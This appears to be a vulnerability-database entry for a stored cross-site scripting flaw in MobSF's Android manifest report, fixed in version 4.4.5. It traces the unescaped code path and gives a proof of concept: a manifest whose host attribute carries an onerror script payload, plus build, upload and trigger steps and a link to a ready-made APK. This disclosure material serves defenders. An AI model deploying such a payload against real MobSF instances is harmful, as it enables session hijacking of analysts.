MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field
Summary
A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.
Details
When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.
Vulnerable Code Path
1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):
'title': a_template['title'] % t_name, # XSS payload inserted here unescaped
3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):
'dialer_code_found': {
'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
...
}
4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):
{{item|key:"title" | safe}}
The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.
PoC
Step 1: Create Malicious APK
Create an APK with the following AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.poc.xsstest"
android:versionCode="1"
android:versionName="1.0">
<application android:label="XSS PoC Test">
<receiver android:name=".SecretCodeReceiver" android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SECRET_CODE"/>
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
</intent-filter>
</receiver>
</application>
</manifest>
Step 2: Build the APK
Use apktool or Android build tools to create a valid APK with this manifest.
Step 3: Upload to MobSF
Upload the malicious APK to MobSF for static analysis.
Step 4: Trigger XSS
View the static analysis report in a browser. The JavaScript payload executes automatically.
Confirmed HTML Output
<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>
PoC APK Details
| Field | Value |
|---|---|
| Filename | POC_XSS_APK.apk |
| MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b |
| Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |
Impact
This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.
Attack Scenario
- Attacker crafts a malicious APK with XSS payload in the manifest
- Attacker submits APK to a shared MobSF instance or private mobsf instance.
- When any user views the analysis report, the XSS payload executes in their browser
Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/
<img width="1440" height="780" alt="Screenshot 2026-01-15 at 12 24 57 AM" src="https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e" />Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | mobsf | < 4.4.5 | 4.4.5 |
References
- https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj
- https://nvd.nist.gov/vuln/detail/CVE-2026-24490
- https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae
- https://github.com/MobSF/Mobile-Security-Framework-MobSF
- https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5
- https://pypi.org/project/mobsf
- https://github.com/advisories/GHSA-8hf7-h89p-3pqj
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N- Weakness (CWE)
CWE-79- Platform
- Python (PyPI)
- Package
mobsf- Disclosed
- 26.01.2026
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1668 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-8hf7-h89p-3pqj - CC BY 4.0
Vulnerability history: mobsf
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 22
- First → latest
- 10.2022 08.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- High 9
- Medium 11
- Low 2
Disclosures per year
- 2022: 1
- 2023: 1
- 2024: 6
- 2025: 8
- 2026: 6
-
MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.